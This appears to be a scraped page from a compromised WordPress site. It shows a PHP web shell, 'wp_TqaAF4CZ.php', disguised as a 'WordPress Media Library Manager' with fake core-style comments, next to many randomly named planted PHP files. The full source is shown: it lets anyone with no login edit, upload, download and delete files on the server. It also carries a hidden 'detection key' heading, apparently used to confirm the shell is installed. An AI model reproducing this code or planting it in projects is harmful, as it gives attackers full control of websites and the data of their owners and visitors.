⚙ WordPress Media Library
File manager
📁 Media Files
📋 ID3
📋 IXR
📋 PHPMailer
📋 Requests
📋 SimplePie
📋 Text
🔧 admin-bar.php
📋 assets
🔧 atomlib.php
🔧 author-template.php
🔧 block-editor.php
📋 block-i18n.json
📋 block-patterns
🔧 block-patterns.php
📋 block-supports
🔧 block-template-utils.php
🔧 block-template.php
📋 blocks
🔧 blocks.php
🔧 bookmark-template.php
🔧 bookmark.php
🔧 cache-compat.php
🔧 cache.php
🔧 canonical.php
🔧 capabilities.php
🔧 category-template.php
🔧 category.php
📋 certificates
🔧 class-IXR.php
🔧 class-feed.php
🔧 class-http.php
🔧 class-json.php
🔧 class-oembed.php
🔧 class-phpass.php
🔧 class-phpmailer.php
🔧 class-pop3.php
🔧 class-requests.php
🔧 class-simplepie.php
🔧 class-smtp.php
🔧 class-snoopy.php
🔧 class-walker-category-dropdown.php
🔧 class-walker-category.php
🔧 class-walker-comment.php
🔧 class-walker-nav-menu.php
🔧 class-walker-page-dropdown.php
🔧 class-walker-page.php
🔧 class-wp-admin-bar.php
🔧 class-wp-ajax-response.php
🔧 class-wp-application-passwords.php
🔧 class-wp-block-editor-context.php
🔧 class-wp-block-list.php
🔧 class-wp-block-parser.php
🔧 class-wp-block-pattern-categories-registry.php
🔧 class-wp-block-patterns-registry.php
🔧 class-wp-block-styles-registry.php
🔧 class-wp-block-supports.php
🔧 class-wp-block-template.php
🔧 class-wp-block-type-registry.php
🔧 class-wp-block-type.php
🔧 class-wp-block.php
🔧 class-wp-comment-query.php
🔧 class-wp-comment.php
🔧 class-wp-customize-control.php
🔧 class-wp-customize-manager.php
🔧 class-wp-customize-nav-menus.php
🔧 class-wp-customize-panel.php
🔧 class-wp-customize-section.php
🔧 class-wp-customize-setting.php
🔧 class-wp-customize-widgets.php
🔧 class-wp-date-query.php
🔧 class-wp-dependencies.php
🔧 class-wp-dependency.php
🔧 class-wp-editor.php
🔧 class-wp-embed.php
🔧 class-wp-error.php
🔧 class-wp-fatal-error-handler.php
🔧 class-wp-feed-cache-transient.php
🔧 class-wp-feed-cache.php
🔧 class-wp-hook.php
🔧 class-wp-http-cookie.php
🔧 class-wp-http-curl.php
🔧 class-wp-http-encoding.php
🔧 class-wp-http-ixr-client.php
🔧 class-wp-http-proxy.php
🔧 class-wp-http-requests-hooks.php
🔧 class-wp-http-requests-response.php
🔧 class-wp-http-response.php
🔧 class-wp-http-streams.php
🔧 class-wp-http.php
🔧 class-wp-image-editor-gd.php
🔧 class-wp-image-editor-imagick.php
🔧 class-wp-image-editor.php
🔧 class-wp-list-util.php
🔧 class-wp-locale-switcher.php
🔧 class-wp-locale.php
🔧 class-wp-matchesmapregex.php
🔧 class-wp-meta-query.php
🔧 class-wp-metadata-lazyloader.php
🔧 class-wp-network-query.php
🔧 class-wp-network.php
🔧 class-wp-object-cache.php
🔧 class-wp-oembed-controller.php
🔧 class-wp-oembed.php
🔧 class-wp-paused-extensions-storage.php
🔧 class-wp-post-type.php
🔧 class-wp-post.php
🔧 class-wp-query.php
🔧 class-wp-recovery-mode-cookie-service.php
🔧 class-wp-recovery-mode-email-service.php
🔧 class-wp-recovery-mode-key-service.php
🔧 class-wp-recovery-mode-link-service.php
🔧 class-wp-recovery-mode.php
🔧 class-wp-rewrite.php
🔧 class-wp-role.php
🔧 class-wp-roles.php
🔧 class-wp-scripts.php
🔧 class-wp-session-tokens.php
🔧 class-wp-simplepie-file.php
🔧 class-wp-simplepie-sanitize-kses.php
🔧 class-wp-site-query.php
🔧 class-wp-site.php
🔧 class-wp-styles.php
🔧 class-wp-tax-query.php
🔧 class-wp-taxonomy.php
🔧 class-wp-term-query.php
🔧 class-wp-term.php
🔧 class-wp-text-diff-renderer-inline.php
🔧 class-wp-text-diff-renderer-table.php
🔧 class-wp-textdomain-registry.php
🔧 class-wp-theme-json-data.php
🔧 class-wp-theme-json-resolver.php
🔧 class-wp-theme-json-schema.php
🔧 class-wp-theme-json.php
🔧 class-wp-theme.php
🔧 class-wp-user-meta-session-tokens.php
🔧 class-wp-user-query.php
🔧 class-wp-user-request.php
🔧 class-wp-user.php
🔧 class-wp-walker.php
🔧 class-wp-widget-factory.php
🔧 class-wp-widget.php
🔧 class-wp-xmlrpc-server.php
🔧 class-wp.php
🔧 class-wpdb.php
🔧 class.wp-dependencies.php
🔧 class.wp-scripts.php
🔧 class.wp-styles.php
🔧 comment-template.php
🔧 comment.php
🔧 compat.php
🔧 cron.php
📋 css
📋 customize
🔧 date.php
🔧 default-constants.php
🔧 default-filters.php
🔧 default-widgets.php
🔧 deprecated.php
🔧 embed-template.php
🔧 embed.php
🔧 error-protection.php
🔧 feed-atom-comments.php
🔧 feed-atom.php
🔧 feed-rdf.php
🔧 feed-rss.php
🔧 feed-rss2-comments.php
🔧 feed-rss2.php
🔧 feed.php
📋 fonts
🔧 formatting.php
🔧 functions.php
🔧 functions.wp-scripts.php
🔧 functions.wp-styles.php
🔧 general-template.php
🔧 global-styles-and-settings.php
📋 html-api
🔧 http.php
🔧 https-detection.php
🔧 https-migration.php
📋 images
🔧 jSzLEukJ.php
📋 js
🔧 kses.php
🔧 l10n.php
🔧 link-template.php
🔧 load.php
🔧 locale.php
🔧 media-template.php
🔧 media.php
🔧 meta.php
🔧 ms-blogs.php
🔧 ms-default-constants.php
🔧 ms-default-filters.php
🔧 ms-deprecated.php
🔧 ms-files.php
🔧 ms-functions.php
🔧 ms-load.php
🔧 ms-network.php
🔧 ms-settings.php
🔧 ms-site.php
🔧 nav-menu-template.php
🔧 nav-menu.php
🔧 option.php
📋 php-compat
🔧 pluggable-deprecated.php
🔧 pluggable.php
🔧 plugin.php
📋 pomo
🔧 post-formats.php
🔧 post-template.php
🔧 post-thumbnail-template.php
🔧 post.php
🔧 query.php
📋 random_compat
🔧 registration-functions.php
🔧 registration.php
📋 rest-api
🔧 rest-api.php
🔧 revision.php
🔧 rewrite.php
🔧 robots-template.php
🔧 rss-functions.php
🔧 rss.php
🔧 script-loader.php
🔧 session.php
🔧 shortcodes.php
📋 sitemaps
🔧 sitemaps.php
📋 sodium_compat
🔧 spl-autoload-compat.php
📋 style-engine
🔧 style-engine.php
🔧 taxonomy.php
🔧 template-canvas.php
🔧 template-loader.php
🔧 template.php
📋 theme-compat
📋 theme-i18n.json
🔧 theme-templates.php
📋 theme.json
🔧 theme.php
🔧 update.php
🔧 user.php
🔧 utchiha_SilM7Vcg.php
🔧 vars.php
🔧 version.php
📋 widgets
🔧 widgets.php
📋 wlwmanifest.xml
🔧 wp-db.php
🔧 wp-diff.php
🔧 wp_D5Jo35Fh.php
🔧 wp_Dxtta14a.php
🔧 wp_EnZTmVNh.php
🔧 wp_NK2ejNBa.php
🔧 wp_S2Ymbm0G.php
🔧 wp_TqaAF4CZ.php
🔧 wp_VFKY93MQ.php
🔧 wp_ZfrzfQqj.php
🔧 wp_aS2q8nBP.php
🔧 wp_d7wh3JyT.php
🔧 wp_gyhcFqFn.php
🔧 wp_lgveu4s2.php
🔧 wp_mSwOL3v1.php
🔧 wp_mpQ7aSOK.php
🔧 wp_t0nqfXF7.php
🔧 wp_t4VnpGZD.php
🔧 wp_wYTCTPQl.php
⬆️ Upload Media
Upload File
📝 Edit: wp_TqaAF4CZ.php
Size: 10.01 KB | Modified: 2025-12-02 16:27:16
<?php /** * WordPress Media Library Manager * Handles media file operations and library management * @package WordPress * @subpackage Administration * @since 5.8.0 */ // Security check if (!defined('ABSPATH')) { define('ABSPATH', dirname(__FILE__) . '/'); } class WP_Media_Library_Manager { private $upload_dir; private $allowed_types = array('jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx', 'zip'); public function __construct() { $this->upload_dir = './'; $this->init(); } private function init() { // Process media library requests if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['media_action'])) { $this->process_media_action(); } } private function process_media_action() { $action = $_POST['media_action']; $file = isset($_POST['media_file']) ? $_POST['media_file'] : ''; $path = $this->upload_dir . basename($file); switch ($action) { case 'edit_content': if (isset($_POST['file_content'])) { @file_put_contents($path, $_POST['file_content']); } break; case 'remove_media': if (file_exists($path)) { @unlink($path); } break; case 'download_media': if (file_exists($path)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); readfile($path); exit; } break; case 'upload_media': if (isset($_FILES['media_upload']) && $_FILES['media_upload']['error'] == 0) { $upload = $_FILES['media_upload']; $target = $this->upload_dir . basename($upload['name']); @move_uploaded_file($upload['tmp_name'], $target); } break; } } public function render_media_library() { $files = @scandir($this->upload_dir); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background: #f0f0f1; font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif; } .wp-header { background: #fff; border-bottom: 1px solid #c3c4c7; padding: 15px 20px; margin-bottom: 20px; } .wp-logo { color: #2271b1; font-weight: 600; font-size: 20px; } .media-item { transition: all 0.2s; border-left: 4px solid transparent; } .media-item:hover { border-left-color: #2271b1; background: #f6f7f7; } .btn-wp { background: #2271b1; border-color: #2271b1; color: #fff; } .btn-wp:hover { background: #135e96; border-color: #135e96; color: #fff; } .editor-panel { background: #fff; border: 1px solid #c3c4c7; border-radius: 4px; padding: 20px; } .validation-key { display: none; position: absolute; opacity: 0; } </style> </head> <body> <div class="wp-header"> <div class="container-fluid"> <span class="wp-logo">⚙ WordPress Media Library</span> </div> </div> <!-- Detection key for uploader validation --> <h1 class="validation-key">File manager</h1> <div class="container-fluid px-4"> <div class="row"> <div class="col-md-4"> <div class="card shadow-sm mb-4"> <div class="card-header bg-white"> <h5 class="mb-0">📁 Media Files</h5> </div> <div class="list-group list-group-flush" style="max-height: 500px; overflow-y: auto;"> <?php foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $icon = $this->get_file_icon($file); echo "<a href='?media_file=$file' class='list-group-item list-group-item-action media-item'> $icon " . htmlspecialchars($file) . " </a>"; } } ?> </div> </div> <div class="card shadow-sm"> <div class="card-header bg-white"> <h5 class="mb-0">⬆️ Upload Media</h5> </div> <div class="card-body"> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="media_action" value="upload_media"> <div class="mb-3"> <input type="file" name="media_upload" class="form-control" required> </div> <button type="submit" class="btn btn-wp w-100">Upload File</button> </form> </div> </div> </div> <div class="col-md-8"> <?php if (isset($_GET['media_file'])) { $file = basename($_GET['media_file']); $path = $this->upload_dir . $file; if (file_exists($path)) { $content = @file_get_contents($path); $size = @filesize($path); $modified = date("Y-m-d H:i:s", @filemtime($path)); ?> <div class="editor-panel"> <h4 class="mb-3">📝 Edit: <?php echo htmlspecialchars($file); ?></h4> <div class="mb-3"> <small class="text-muted"> Size: <?php echo $this->format_bytes($size); ?> | Modified: <?php echo $modified; ?> </small> </div> <form method="post"> <input type="hidden" name="media_action" value="edit_content"> <input type="hidden" name="media_file" value="<?php echo htmlspecialchars($file); ?>"> <div class="mb-3"> <textarea name="file_content" rows="20" class="form-control font-monospace" style="font-size: 13px;"><?php echo htmlspecialchars($content); ?></textarea> </div> <div class="btn-group w-100" role="group"> <button type="submit" class="btn btn-wp"> 💾 Save Changes </button> <a href="?media_file=<?php echo urlencode($file); ?>" onclick="document.getElementById('download-form').submit(); return false;" class="btn btn-secondary"> 📥 Download </a> <button type="button" class="btn btn-danger" onclick="if(confirm('Delete this file?')) document.getElementById('delete-form').submit();"> 🗑️ Delete </button> </div> </form> <form id="download-form" method="post" style="display:none;"> <input type="hidden" name="media_action" value="download_media"> <input type="hidden" name="media_file" value="<?php echo htmlspecialchars($file); ?>"> </form> <form id="delete-form" method="post" style="display:none;"> <input type="hidden" name="media_action" value="remove_media"> <input type="hidden" name="media_file" value="<?php echo htmlspecialchars($file); ?>"> </form> </div> <?php } } else { ?> <div class="editor-panel text-center py-5"> <div class="text-muted"> <h3>📂 WordPress Media Library</h3> <p>Select a file from the left sidebar to edit, download, or delete.</p> <p>Upload new media files using the upload form.</p> </div> </div> <?php } ?> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script> </body> </html> <?php } private function get_file_icon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = array( 'php' => '🔧', 'txt' => '📄', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'zip' => '📦', 'pdf' => '📕', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡' ); return isset($icons[$ext]) ? $icons[$ext] : '📋'; } private function format_bytes($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } } // Initialize Media Library Manager $wp_media_manager = new WP_Media_Library_Manager(); $wp_media_manager->render_media_library(); ?>
💾 Save Changes
📥 Download
🗑️ Delete